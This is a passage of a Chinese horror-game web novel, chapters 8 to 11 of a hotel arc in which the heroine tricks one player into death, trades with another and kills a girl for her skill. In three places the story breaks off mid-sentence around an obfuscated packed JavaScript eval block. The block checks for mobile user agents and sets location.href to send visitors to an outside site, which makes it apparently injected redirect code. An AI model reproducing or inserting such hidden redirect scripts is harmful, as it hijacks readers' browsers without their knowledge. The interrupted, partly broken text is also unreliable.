众人定睛看向祸源,是白知之手里的木刀,原先它只比手掌大些,现在恢复了本来的大小。白知之嘴角抽抽两下,看了吴长风一眼。他是故意的。木刀交在她手里的一瞬间恢复原状,虽反应及时,可实力有限,提不起这把大又沉的木刀,只得眼睁睁看着“惨剧”发生。 吴长风对上白知之幽怨的眼神,忍不住笑出了声,“我可不是故意的,你没有控制它的能力,变回原型很正常。”其实他可以一直控制木刀的大小,可他不会说出这件事得白知之的白眼的。 “记得把刀收进系统背包。”吴长风抚平自己的风衣褶皱便迈出他的大长腿扬长而去,不过中间停了一会,转身憋着笑对正在揉自己手腕和手臂肌肉的白知之说:“记得多锻炼锻炼,小鸡仔。” 白知之满脸通红,仔细看头顶头发都站起来几根。 “没关系的,等副本通过有积分了,你在‘摆渡’买些力量剂也是一样的。”陈芸拍拍白知之单薄的肩膀以示安慰,殊不知在她的心上又插上一支箭。 人走得很快,餐厅里只剩下白知之和商聪林。 “有话要说?”没有跟着队伍一并离开,必定有鬼。 商聪林浅浅一笑,看不出应该属于他这个年龄的纯真,全是客套和疏离。 “你猜猜我发现了什么。”第一次听商聪林开口,发现他的声音过于男性化,白知之还是在中学变得声呢,不愧头脑发达,身体也发育快些。 白知之偏过头看去,适才打趣的心思灰飞烟灭,替代而来的是冒头的杀意。她手紧攥着,系统背包里的木刀时刻准备。 只见商聪林兜里掏出一台手机,打开,面值板显示在屏幕,玩家姓名一栏写着“刘辰”两个字。 8. 终点酒店6 “我还挺想知道昨夜里发生了什么?你是靠什么杀死刘辰的。”商聪林的眼睛闪过一丝精光,而黑色圆形眼镜柔化了他眼中的算计和威胁。挺会利用自己的外表条件的,白知之有些怀疑他到底是多智近妖还是这副壳子低下就是个年过半百的精明老人。“摆渡”商城无奇不有,换副小孩皮囊只是积分的事。 白知之浅唇一笑,不是她杀死的刘辰,起码不是直接,最终追究下来也得怪刘辰自己蠢,轻信一个自己刁难过的人。 夜里,白知之秉承早睡早起,身体精神棒的良好生活习惯上床睡觉了。 没想到枕头低下摸出张小纸条,现在看来就是李文轩口中的任务纸条了。 白知之不知道,幽幽只留下一句“完成纸条上的任务就算通关副本了”,便假装挂机。 任务纸条样子很简单,和普通的白纸纸条没差别,不过右下角多了一个眼睛图案。这只眼睛已经出现三回了,在公交车车身上,手机开机动画以及任务纸条。 这三回,三样东西,其中后两样与游戏玩家息息相关,前一样白知之还没有搞清。 公交车如果是用来筛人的,为何吴长风,五人生还等人还会在上面,他们的实力不用证明。 白知之开始怀疑自己,是否她的观点一开始是错误的。 一眼瞥过任务纸条上的字“渡过第四夜”,任务说来也简单,混几天而已。可是,副本机制绝不会允许玩家在副本中摆烂,尤其是副本通过后会为玩家发放奖励,要是每一个混子都能得到奖励,那每个人都会成为混子,什么不干把积分挣了谁不想摊上天上掉馅饼的好事。 反向思考,她遇到的困难会是最多的,这样才能提高她的游戏积极性。 不会吧。白知之顺手把任务纸条塞进睡衣口袋里。重要的东西贴身放着安心。 好了,天塌下来的事也不能碍着睡觉。 白知之在房间里绕了三圈,连浴室都翻找了一遍,没能找到房间灯的开关,委屈自己被子一蒙脑袋,囫囵当个黑夜睡过去。 忽地,被子掀起,白知之顶着一头乱糟糟的头发,下床最后确认一遍门口的安保措施。 对小命的珍惜远远大过睡意,即使白知之一点也不困。 门打不开,椅子也抵着门,椅背上的矿泉水稳稳站立,糊在猫眼上的纸巾干了粘在上面。一切很完美,也安全。剩下也只能听天由命,毕竟她只是一个手无缚鸡之力之力的女子,打不过只能跑了。 白知之拍拍手掌上并不存在的灰,叉腰转身往床走。 一步,两步…… 她猛地定在原地,身体不动,一点点强迫自己的头转过去。 房间里只有一瓶水,唯一一瓶她打开用来浇卫生纸糊猫眼,用了至少五分之一。可是,现在椅背上立着的是一瓶装满的未开封的新水。 是谁替换了水? 白知之呼吸颤抖,手脚僵硬。 应该说,是谁进来了。 在她完全不知情的情况下。 “老大?”白知之抱着一丝希望,以为她自认的老大有事找她,顺便开个玩笑捉弄。 没有回答。 白知之忍不住挪动脚,想要后退,可房间就这么点大,她能逃到哪里呢? 她拿起手机,联系人之中只有刘辰一个人看得见状态,他正在照镜子,他怎么不多刷刷牙漱漱口。白知之白了一眼。 现在找别人救她不现实。先别说他们肯不肯费力救她,她连门都打不开,也绝了这条路。 “咻——”浴室的灯光灭了。 白知之“唰”一下冒出一背的冷汗。 “吱呀——”“咚——”木椅摩擦地面和矿泉水瓶掉落的声音先后响起,门开了。 白知之猛地冲上去抵住门,可是平时疏于锻炼,怎么抵得住千军万马。 门外,是密密麻麻的黑色人形怪物,门内,只有白知之一个,不,还有一个神秘人。 “好痛。”白知之咬牙抵在缝隙越开越大的门后,黑暗与光明的交接处,她的手指已经见骨,手背上的皮肉溃烂。 “好吃,好吃……”两个字像是咒语一样环绕在她的耳边,想到胖男人的下场,白知之涌出更多的力气,竟将门往外推了毫米,也只是毫米。 果然,任务看着越简单,完成难度越高。 若她有技能说不定……不,不对。 肯定有解决办法。白知之坚持自己的想法,公交车是用来筛选有能力的人进入终点酒店的,准确点说,通过公交车这关是检测新人是否有进入副本的资格。既然已经筛过一部分,且玩家都为新人的情况下,必然有属于新人玩家的破局方法。 快想,快想…… 一滴汗落在白知之血肉模糊的手上,已经麻木的感官多了一丝清明。 破局的关键是躲避黑色人形的攻击。 白知之努力回想总结。 会不会是光! 走廊上其实一直都有很多黑色人形,可白知之只在自己打开门有了光亮之后才看到它们的脸。它们在光亮中才有形状,有形才能攻击人。 可是……公交车上也有光,R领他们到住处的时候手里拿着蜡烛。 可透过公车上的光与烛光看不见它们,而且白知之睫毛一颤,她竟然一直忽略了,公交车上也有和蜡烛燃烧时一模一样的油脂味,不过公交车的油脂味淡了些。 胖男人下车受到攻击,黑色人形正是站在路灯下。 黑色人形在普通的光亮下可以攻击人! 所以黑暗才是求生之处,R先前一直在误导他们。 玩游戏时,玩家下意识会从npc的话中寻找线索,R临走前特意嘱咐他们在外面待久了会有不好的事情发生,不排除他这句话的正确性,但黑黢黢的走廊现在是她唯一能够活命的地方。 不过,白知之一旦要去走廊,必定通过眼前这道黑暗与光亮的交界线,不出她所料,踏过去的一瞬间,她便会被黑色人性腐蚀成一滩尸水。 或许……另有办法。 她看了眼挤在门缝里密密麻麻的黑色人形没有五官的脸,回头望向黑黢黢的浴室。副本既然使出黑色人形作为它的杀招,便不会再派出其他npc杀她,浪费心思和资源。应该是副线或者玩家,后者概率极小,毕竟这门她自己都打不开。 浴室门没有锁,可是足够抵挡一阵了。她的小拇指指骨完全溶蚀了,不久整个手掌都将消失。 “3,2,1!”她在心中默默倒数,在数到“1”时,身体状态调整到极限,腿先动,紧接着是抵住木门的手。 一瞬间,黑色人形如同洪水涌进了房间,它们的身体穿过了门后的木椅,房间内的大床,直奔白知之而去。 白知之早在计划之初便计算好了通往浴室最短同时障碍物最少的路线。 黑色人形速度快,可白知之先行好几步,在死亡面前,即使是多年没有锻炼过的身体,也发挥出了世界短跑冠军的实力,肉眼只能看见她的残影。 眨眼间,白知之闪身进入浴室,合上浴室沉重且不坚固的磨砂玻璃门。 “砰!”冲涌上来的黑色人形狠狠撞上玻璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085705|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 门,余震震得白知之后背发麻。 黑色人形穷追舍,眼见通过最后一扇门就可享受到美味的人类,竟齐心协力,有节奏地一下,一下撞上来。 白知之强忍后背的痛麻,打开手机,刘辰的状态栏显示他正在刷牙,希望他这次嘴里的话能够好听些,毕竟也算是遗言了。 她空出一直手,摁下刘辰的电话键。 “嘟嘟——”他接的很快。 “呦,这不是无常姐吗?”声音含糊,看来还没刷完。 白知之不在意这些没用的口头的细枝末节,直入主题:“快!辰哥,快出来,不出来会死!”配合她自己这边浴室的撞击声,这句话倒是很有说服力。 可是刘辰有自己的队伍,哪轮得上白知之。 “刘辰哥,不要怀疑了,没有时间,是李队让我和你说话的,他们都空不出手,没听见我这边的声音吗?”白知之真情流露,她这边情况确实很紧急。 “我……我凭什么信你!文轩哥呢,你给我听他的声音我就信你。”刘辰警惕性还是有的,没那么蠢。 “砰砰……”黑色人形好似永远也不会累,撞击力度没有变化,两指厚的玻璃门裂了痕,些许光亮透进来,黑色人形似黑烟一般顺着裂痕飘进来一丝,很少,缠绕在白知之的躯干,没有声音,不过腐烂的疼痛精准地传递到她的大脑。 “李队没时间,他忙着对付那东西,那东西就在房间里,你再不出来就……”白知之特地没说出最后两个字,人的想象力远比语言有煽动性。 “等一下,我确认一下。”刘辰明显被说动了,可他完全不信任白知之。 白知之嘴角一勾,“辰哥,在我们说话这会那东西就可能到你房间了,来不及了,你打开门确认一下,只要打开门,不用出来你就知道我没有骗你。”退而求其次,降低刘辰心中的戒线,他一定会答应的。 果不其然他下一秒就答应了,“好……好吧。” 刘辰没有挂电话,白知之可以听到他逐渐变粗的呼吸声,他也可以听到来自话筒另一边“砰砰”的撞门声。 “快!辰哥,快!”白知之带入角色,催促起刘辰了。 白知之不害怕以刘辰的性格会开始计较这句话,反而会显得白知之这的情况越真。 “吱呀——”刘辰的房门打开了。 “砰砰”的撞门声消失,取而代之的是贯穿整个走廊的惨叫,为寂静的夜增添一丝人气。 没有了外力的撞击,白知之支撑不下去,坐倒在地。惦记着还未关上的房门,她几乎手脚并用爬起来,凭着意志跌跌撞撞走到门口,可惜门关不上。 白知之血红的眼抬起,定在门框上的数字“0”,思考与它的关联。 “呵,原来不是我的生命倒计时。” “它们说下一个还是你。”是男人的声音。 白知之没有找人的力气,她瘫倒在地,最后一丝力气撑着脑袋,“咳咳”吐出一口血,她双手无力,甚至不能擦拭流向眼睛,耳朵和脖子的血液。 “是你帮我的吗?谢谢你。”白知之挤出一个很难看的笑,她洁白的牙齿沾满鲜血,口腔满是忍受痛苦咬出的伤口。 不管这人是不是副线,他帮了她一把,为了维护彼此的关系,必须道声谢。 “是我帮的你!”忽地,一股暖意充斥在白知之身体的右半侧,像是有人。 白知之张开眼皮,眼前一片血色,她看着自己的手被一股无形的外力抬到空中,被动做出握手的动作,手心暖暖的。 “你愿意和我结婚吗?” 9. 终点酒店7 白知之很想投诉系统,像是给手机设置密码这种关乎玩家隐私的功能怎么没有,没有什么用的功能倒是一堆还收费。 “你好,AAA人命批发无常,以前我们有设置密码功能,但是实行之后接到大部分玩家投诉,所以后续取消了该功能。如您有需要,我可以上报主系统。” 该回答的不回答,不该回答的倒是很热情呢。 “为您服务是我的职责,希望您能满意。” 一点也不满意。 “已屏蔽玩家不当言论。” 人无语到机制真的想笑。 白知之的眼皮半垂着,遮住眼中的寒冰。 “所以呢,一则通话记录而已,怎么能证明我是杀害刘辰的真凶。而且刘辰那样我一个新人难以做到,不是你们这些老玩家就是副本机制杀的吧。”白知之眉骨微压,眉梢几不可察地挑了一下。 她双手抱胸,迈腿靠近商聪林一步距离,充满攻击姿态,“而且你瞒着李文轩偷拿了刘辰的手机和任务纸条,怎么不是你心里有鬼呢。”白知之说着,还朝商聪林泼了盆脏水。 “小看你了。我们现在讨论的不是刘辰的死,我不在乎。现在我可以和你和平讲话是因为我想和你公平交易。”商聪林抬头直直看着白知之的眼睛,明明是仰视,却毫无下位者姿态。 白知之来了兴趣,半蹲平时商聪林。她不知道自己身上有什么好交易的,除非他以为这部手机值得吴长风送她的木刀。 “蜡烛。我只想要你刚刚拿的蜡烛而已。” “哈?什么蜡烛?”白知之拿出她的拿手好戏,装傻充愣。 “我看到了,还是说你想全部人都知道你拿了蜡烛。”商聪林威胁人的手段使得炉火纯青,一个思维敏捷又机灵的脑子,配上力量型的技能,完全可以自己闯荡,怎么加入“五人生还”这个听起来就脑残的队伍里。 蜡烛白知之确实拿了,在劈裂桌子,她帮旁边人收拾的时候趁机拿的,无人在意她,减少了动手的难度。若是被人发现,还不好解释,而且极有可能暴露蜡烛的作用。 没想到千防万防没能防住这个小朋友。 “用蜡烛交换手机?”白知之从兜里掏出白蜡,看了白蜡一眼,又看了一眼商聪林,挺直背,瘪嘴摇头,“不划算呢。通话记录而已,又不是实锤。” “现在呢。”只见商聪林双手扣了几下手机。 白知之的手机震动一下,她用疑惑的眼神看了一眼保持微笑的商聪林再看自己的手机。 上面赫然显示一条新消息。 点开看,是转账记录。 “终点酒店副本时间第二天早上八点半,玩家无人生还刘辰给AAA人命批发无常转账6000积分。” “天哪!我找到偷刘辰手机的人了,没想到是你啊。”商聪林眉梢轻轻一挑,眼角跟着弯起个狡黠的弧度,笑意没往深处去,浮在脸上。说话时嘴角一会上一会下,尾音拖得长又懒散,令人恼火。 “你——”白知之红了脸,瞪大眼睛仿佛要把商聪林整个人钉穿。 眨眼间,她便调整好情绪,“6000积分休想我转回去,就算是手续费。” 商聪林耸肩,表示无所谓。 “一手交手机,一手交蜡烛。”全程白知之眼都不眨,生怕商聪林又有什么招数没使用出来。 不过,手机递过来还是原来的手机,蜡烛递过去不是原来的蜡烛。 白知之的手机里多了一条消费记录,“您本次在‘摆渡’购买一根白蜡,消费100积分,欢迎您下次光临。” 小子,和你姐姐斗还嫩了点。 “幽幽,都怪你,不和我提前说一声玩家死后手机还可以使用,给我添了一个大麻烦。” “下次一定。”幽幽糊弄过去。 幽幽靠谱又不靠谱的,完全不像是人工智能,像是个捣蛋鬼。 “你们出场前要通过图灵测试吗?” “……” 没有回答,意料之中,幽幽偶尔会假装掉线以逃避她不想回答的问题。 出餐厅后,令她意外的是,吴长风竟然站在这堵墙前等她。 “老大,面壁思过的滋味怎么样?” “小鸡仔,皮痒了是吧?”吴长风笑眯眯的,一时还不习惯,总感觉背后想什么招要整她。 “嘿嘿,没想到老大你会专门等我啊。”白知之自觉跟在吴长风身后,这是作为一名狗腿子,不,是小弟的基本素养。 走一半,突然看见前面围了很多人,白知之好奇问道:“他们围在那干什么呢?” 吴长风没有回答,直到走近才发现是几人在商讨接下来的计划。 “你来了。”李文轩鼓起一个谄媚的笑看向吴长风,一时之间,所有人停下了口头的话,看向吴长风。 白知之看了吴长风一眼,说:“你们在说什么呢?”作为一名优秀的狗腿子,要懂得替老大说出他心里想说的话。 “我们在讨论人数和任务。”李文轩作为队长,只需要总结,讲解是队员该干的事。 李逵接着细讲:“现在我们这里一共有八个人,手机上这个副本的好友只有六个人。可是R又说只有七个人……” 这一段话像极了绕口令,绕来绕去,十分复杂。 “总的来说,我们这里至少有一个,最多两个人不是玩家。”陈芸出来简化了一下问题。 “所以?”吴长风挑了挑眉,露出无所谓的表情。 “副本主要是完成任务,和找出非人玩家没什么关系,除非你任务是这个。接下来都小心一下身边人就行了。”白知之再次替吴长风说出心里话,即使这话听起来像是站着说话不腰疼。 现下,团体分明。 五人生还小队肯定只信自己人,白知之自然跟着吴长风走,而温乙洲和牙牙两个人…… 温乙洲摁下他的打火机按钮,明亮的火光照映在他脸上竟冰冷无比,“我是人我很清楚,你们要是怀疑谁可以绑他到我这,我的嘴一尝便知。” 看来温乙洲要独行。 也是,牙牙怎么看也是个累赘。 “没人想要牙牙吗?”小女孩顶着一张漂亮的脸,葡萄大的眼睛充盈泪水,亮晶晶的,惹人怜惜。 李逵看了李文轩一眼,李文轩显然不想接下这个烂摊子。最后是陈芸开口:“你有困难可以找我们帮助,但是现在分不清你是玩家还是怪物,不能跟着我们,可以吗?”有人文关怀又充满理智。 “好!”牙牙鼓劲狠狠点了头,擦干自己的眼泪,乖巧极了,让人忍不住反省刚刚是否是自己太过心冷,拒绝了一个可怜小朋友的求 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085706|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 助。 至于所有人都聚在这里,是因为副本开放的空间就这一条走廊和各自的房间,实在无处可寻了,只剩下这片黑暗还未探索。 “排队等着一个个进呢?”温乙洲接替了刘辰的嘴。 李文轩看了他一眼,作为队长不能干出有失队伍体面的事。 “有本事你先进去啊!”李逵作为队友,可以。 李文轩还可以趁此机会假意劝劝李逵,或火上浇油或体现自己作为队长的大度。 “幽幽,强烈建议你们开发直播系统,这太有意思了,还是个赚钱的好机会。”赚到的钱可以和玩家平分。 “……”回复她的还是沉默。 白知之不在意,心想是自己没交够钱,所以服务态度不好,正常正常。 “你的火不是说可以烧穿一切吗?怎么不第一个上!”没想到李逵看起来老好人,怼起人来也很刻薄。 温乙洲嗤笑两声,摁下打火机朝黑暗走去。 白知之站在最后看着,虽然知道黑暗才是安全的,但她没有丝毫提醒的心。在副本中,一旦你知道比别人多得多的信息,他们首先便会怀疑信息的是否可信,其次便是来源。他们讨厌你强,更讨厌你幸运,即使是从死局中捡回的信息,他们也只会感叹一声“好命”。 另外,白知之挺好奇,除了副本特定的几种光亮外,玩家自带的技能可否躲过黑色人形的攻击。 首先进去的是打火机的火光,不出所料,黑暗湮灭了火光,人在黑暗外依旧看不清里头的景象。 紧接着,温乙洲的手伸进去,他朝众人一笑,似乎在展示他的火的威力。 下一秒,温乙洲的笑容扭曲,五官都挤到一处,额头冒出豆大的汗,他强撑着力手捏着打火机从黑暗中退了出来。 “啊!”牙牙尖叫。 只见温乙洲手上一层皮全部消失,露出里头鲜血淋漓的肉和还在跳动的血管,他死力没有丢下的打火机粘连在他的血肉上。 陈芸身体前倾了一下,但很快恢复平常模样,估计于心不忍想要帮助异食癖。 他咬牙忍痛,从摆渡兑换了瓶止痛剂,生长剂,连着灌下去。眨眼间,手恢复原状。他眼神阴鸷,露出森宝尖牙,“我迟早要踏平这。” 白知之抿嘴,一个只懂放狠话无脑的家伙。 “温乙洲都过不去,我们还有什么办法?”陈芸看着李文轩问道。 昨夜R的暗示太成功了,他们现在还以为温乙洲受伤是因为触碰了危险的黑暗,其实真正危险的是他手中的火焰。 看来玩家技能不在副本特定光源以内。 白知之嘴角微微上扬。她可以借白蜡以及黑色人形的攻击特点好好在吴长风面前表达忠心,只不过忠心也掺杂数不清的假意。 她小步靠近吴长风,准备说说悄悄话,没想一张纸条从吴长风的兜里飘到半空,缓缓展开,露出右下角的眼睛图案。 是任务纸条! 白知之瞪大了眼,“老……老大,你的任务……” 李文轩顾不上什么队长尊容,温乙洲不再沉浸痛苦,李逵用他的大块头撇开其他人,连牙牙这个身高不足一米五的小朋友踏着皮鞋蹦高,都只为吴长风的任务纸条。 只因上面写着: “有离开副本的念头。” 10. 终点酒店8 白知之没想到自己抱上的大腿,不仅有实力,还有背景。 任务纸条上的任务可以说是个傻子都可以完成,这不明晃晃在走后门吗? 不是?现在恐怖世界也流行开后门了吗? 李文轩,李逵,温乙洲和牙牙四个人一哄而上。其中李逵占据的优势最大,他的身体像堵墙将温乙洲连带他的队长李文轩挡在外面,是一个队伍的,谁拿到都可以。 李文轩张开双臂,阻拦温乙洲。温乙洲弯唇一笑,摁下自己的打火机,往李文轩手臂燎,滋滋作响。火燎处皮肉立马变得焦黑,血液来不及流出便蒸发为碳。不愧是名为能够烧穿一切物物的打火机。 “在摆渡里兑瓶油多省事。”白知之双手抱胸靠着1808号房门旁观。 即便痛的额头的汗如雨淋漓,李文轩依旧不肯退缩,他靠着李逵的背借力撑住手。 这时,陈芸也加入战场,她趁温乙洲注意力集中在李文轩身上时,从背后擒住温乙洲的双臂,掏出一副崭新的手铐铐上。赶忙跑上前要为李文轩疗伤,没曾想被温乙洲一个飞腿拦住,两人竟不顾受伤的队长和飞舞的任务纸条,当场打起来。 见温乙洲被支开,李文轩脑子里维持清醒的弦断开,昏倒在地。 最后还是商聪林兑换了治愈剂和止痛剂喂给李文轩服下。 吴长风插空挤出闹剧中心,甩了甩袖子上并不存在的灰,靠近白知之。白知之赶忙让位,笑着说:“老大,您请。” 吴长风占了白知之原先的位置,可谓是最佳观景台。他双手抱胸,作为当事人真是不着急,还瘪嘴评价上:“你说异食癖兑瓶油一口喷过去,火一烧,哪有这么麻烦。” 白知之非常赞同地点头,“老大说得对!” 没想只是聊两句话的功夫,局势又发生变化。 李逵伸出手捞,任务纸条悬在半空中飘动,一会往左一会往右,偏偏不肯让李逵得手。李逵着急,放松警惕,牙牙趁机从他的咯吱窝下钻过去。 白知之的视线被李逵宽阔的脊背挡得严严实实,她往右边移了两步,看见李逵竟主动弯腰牵起牙牙的手,牙牙借此机会踩上李逵的膝盖和肩膀,跃至半空,瞄准任务纸条张开双臂去扑,又被李逵抓住脚腕拽下来,整得红色蓬蓬裙灰扑扑的。 “咚——”地板震了一震,李逵往上蹦了一下,没抓到任务纸条,接着又蹦。 醒着的人还好,只是脚底有点麻,晕倒在地,侧脸紧紧贴在地上的李文轩就倒霉了,白知之清清楚楚地看见他的脸颊肉都跟着震了三震,几回下来,李文轩就行了,醒来第一句不是喊痛,而是揉着脑袋嘟囔:“怎么脑子嗡嗡的?” 牙牙爬起来,想故技重施,没想任务纸条贴着天花板,绕过几人头顶往吴长风与白知之两人的方向飞。 白知之崇拜地看了吴长风一眼,以为是他在隔空控物,正想拍个马屁,没想任务纸条也绕过了吴长风,“咻”的一下飞进白知之的裤兜,白知之的脸“唰”的变得比任务纸条还白。 她瞪大眼睛看向吴长风投过来的目光,有些疑惑,“你这是?”“您”变为“你”,她认为已经通过吴长风的试探,没想到他依旧不相信自己。 既然如此,干脆一不做二不休,用了这张任务纸条? 吃一天肉和吃一辈子肉白知之还是分得清楚的。 吴长风微微摇头,拿过任务纸条,下一秒,任务纸条凭空飞起再次钻进白知之的口袋里。 “是他。”吴长风说得很明显,白知之明白他说的人是谁了,也明白这人肯定不是副本副线,是第八位玩家。 “别搞。”白知之侧头低声说了一句,再次将任务纸条递过去,吴长风拿过任务纸条,这回任务纸条没有再飞起了。 几个人,费了力气什么也没收获,眼神满是疲倦和怨恨,估计是怨恨自己手不够快。 李文轩的手臂已经恢复原状,可他还是不敢轻易摆动自己的手臂,走路姿势有些僵硬,他语气有些不怀好意:“他就是第八位玩家吗?怎么不出来介绍介绍?” 李逵跟在李文轩身后,温乙洲这次竟和他们统一战线,三个人的眼神一齐落在吴长风一人身上。 “好了,哥哥姐姐们别生气,你们看我发现了什么。”牙牙越过三人,踩着蹭上灰的黑色小皮鞋过来拉住了白知之的手。 副本第一天,所有人的任务还没有苗头,不是撕破脸皮的时候,牙牙的举动缓和了紧张的气氛。 牙牙走得很急,白知之为了平衡两人的身高被迫弯腰走路,很累。 “是有什么发现呀?”面对小女孩白知之的语气不自觉柔和起来,适才她抢夺任务纸条的手段还历历在目,白知之不可能放下戒心。 吴长风迈着大长腿,闲庭信步地跟在两人身后。 牙牙侧头瞥了一眼,绽放一个甜美的笑容,“你看。” 她们已经来到黑暗与光亮的界限处,牙牙紧攥白知之的手腕往前带,眼见要触碰到黑暗。 白知之长了个心眼,故意收回手,手腕上留下一圈红痕,“你干什么?”声音大了些,惹红了牙牙的眼眶。 “我只是想带你看看它并不危险。”她举起自己的小手往黑暗探去,收回来,毫发无损。 众人目光一时定在温乙洲身上,他攥紧拳头,话从牙缝里挤出来:“看什么看!” 白知之皱眉,她瞥了一眼牙牙。 她怎么知道的? “我去?”白知之还在思考,魂留在原地,身体贴上了牙牙,被牙牙一把握住手腕带到黑暗中去。 有人从被后推了白知之。 牙牙看着身材较小,力气却很大,白知之一时挣脱不开,只好出言警告,也是为了让吴长风更快找到她的方位:“你想干什么!” 牙牙的脚步停下来,但是没有松开手,“怎么是你?” 一句话,白知之明白了她的目的。她想借自己吸引吴长风靠近黑暗,再使用可以使他人贴近自己的技能将他带到黑暗中,好偷取任务纸条。 不用想,是吴长风推的自己了。 “我对你可没有利用价值,快放开我吧。”白知之故意与她耗时间。 “是你也无妨。把你的任务纸条给我!”语气理直气壮。 白知之 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085707|179573||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “呵”的笑出了声,循着声音来源弯腰低头道:“凭什么?” “不交出来我就杀了你。” 白知之挑眉,“我确实没带在身上,你可以找。”她摊开自己可以自由活动的手臂。 牙牙迟疑几秒,上手了。 白知之穿着睡衣,只有两个口袋。 第一个口袋在胸口,她主动弯腰给牙牙搜,没有。 第二个是个裤兜。 “放心吧,没有。”白知之很坦荡。 牙牙不相信,她伸手摸进去,摸到了一根蜡烛,有用的东西,她掏出来攥在手里。 兜很深,她不得不踮起脚才能摸到兜底。果然,白知之随身带着。预想中微微粗糙的纤维感传递大脑,牙牙兴奋不已,赶忙踮得更高,好够着任务纸条。 “咚——”滚烫的动脉血温暖了冰冷的刀锋,牙牙倒地。 “您本次在‘摆渡’购买一把匕首,消费1000积分,欢迎您下次光临。” 幸好有商聪林那个傻蛋转给她的6000积分应急。 “你——”牙牙捂着脖颈汩汩流血的伤口,一句完整的话也说不出来。 “敢威胁我?”白知之掏出牙牙想要的任务纸条,放在她的鼻子下。 “你猜猜,这是谁的血味。” “要……”牙牙举起手,临死前对任务纸条念念不忘。 可惜匕首精准划过脖颈的动脉,血液眨眼间便淌了一地,没有生还可能。 “好吧,给你吧,反正这张纸条也没什么用了。”这张任务纸条是昨夜白知之去刘辰房间里摸过来的,上面的字被血掩住,看不清了。 “终于,终于可以回家了。”牙牙双手捏住任务纸条,放在胸前,含笑死去。 【叮!恭喜您杀死了牙牙,获取了她的剩余寿命5年,请问是兑换积分还是兑换牙牙的技能。】幽幽的声音,可语气并不像她。 “牙牙的技能是什么?” 【技能名为暖心互动,使用者可选定视线中一人,被选定的人的身体部位与您的身体部位贴合。】 怪不得李逵主动托举牙牙,自己也被迫主动牵上她的手。 “五年寿命换成积分是多少啊?” 【5积分。】 “五年,就5积分?”白知之语气激动起来。 【没错,AAA人命批发无常。】 “所以我的技能是……” 【您的技能名为数字生命,您可在杀死玩家之后获取该玩家的剩余寿命,选择兑换积分或该玩家的技能。】 “有规定杀人人数吗?” 【没有。】 这个技能听起来强,可是有点缺德呢。 “我选择兑换技能。” 【兑换中……恭喜您,获取暖心拥抱。】 所谓便宜谁也不能便宜资本,技能再鸡肋也比5积分强。 “所以我可以用1积分换我多活一年?”白知之试探性问出口。 【需要10000积分才能兑换一年寿命。】 “你们吃相真的很难看。” 【谢谢夸奖。】 11. 终点酒店9 白知之蹲下,用手摸索地面,所触之地,全是牙牙流出的血,没一会,她的手便被泡发了。 她站起来活动了下酸痛的肩膀,毫不在意地将手上的血渍抹在走廊的墙上。 忽地,手里塞进一根圆柱形物体。 “刚刚人太多,我找了好一会才找到。”是个男性的声音,尾音带着些许震颤。 白知之沉默了一两秒,接过蜡烛塞进裤兜,低声道了句:“谢谢。” “那我……” “结婚是大事,我得好好考虑。”白知之无奈扶额。 “你刚刚说人很多,什么意思?”白知之边问边往外走。 “这里到处都是人啊……”尾音延长,似乎在思考如何与白知之说明。 “你刚刚就跨过了一个人,诶,你旁边也有个人在和你说悄悄话。” 白知之猛地停住脚,环视一周,没有看到任何人。指甲陷进手心,她想故技重施,用疼痛换取片刻清明,可是没有,什么也没有。 “你怎么突然停下来了?” “你又在哪呢?”白知之好似戴了一副耳机,那人无论远近,声音永远缠绕在她的耳边,深入脑髓。 “在你背后啊。” 身后凉风习习,风灌进睡衣,撑成一个圆筒。 “谁!”话音未落,依旧滚烫的匕首握在白知之的手中。 “啪——啪——啪——啪——”走廊的灯亮了。 惨白的灯光照亮空无一人的走廊,两侧的房门静静地闭合着。 “你为什么要来呢?”一个声音宛如幽灵在她的耳边不停环绕。 白知之捂住耳朵也无济于事,她手握匕首挡在胸前,瞪大布满红血丝的眼睛,企图捕捉微弱的人影,以求一击毙命。 “在找我吗?”这次声音连同呼吸一同敲击白知之的耳膜,她反应迅速,朝自己左边刺去,落了空。 “呵,果然想杀我。”一声冷笑,拨动白知之敏感的神经。 “吴长风?” “记住这个名字。”这回声音在右边,白知之没有下手,反而收起匕首,朝前望去。 吴长风双手插兜,垂眼静静看着她,嘴角微微弯起,“你也要记住这张脸。” 白知之一步一步靠近,风撩动她的发丝,点亮她坚毅的眼神。 “我认识吴长风?” “应该认识的。”吴长风眼底有点点泪光。 “刀也是他的吧。叫什么名字?” “它没有名字,你给它取一个吧。”吴长风语气神色落寞。 白知之伸出手手心朝上,“取名费。” “哈?”吴长风笑出了声,“你问我要取名费,我还没问你要刀钱呢。” 白知之嘴角牵起,宛若诡异人偶,“那三个亿呢?” 